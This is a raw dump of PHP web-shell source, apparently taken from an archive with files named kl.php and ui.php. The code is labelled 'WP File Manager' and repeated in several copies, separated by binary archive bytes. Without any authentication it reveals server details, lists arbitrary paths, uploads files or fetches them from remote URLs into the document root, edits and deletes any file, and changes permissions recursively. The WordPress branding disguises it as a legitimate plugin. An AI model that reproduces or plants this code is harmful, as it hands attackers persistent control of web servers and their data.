if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëlmpdes@bleje.net/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëlmpdes@bleje.net/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // 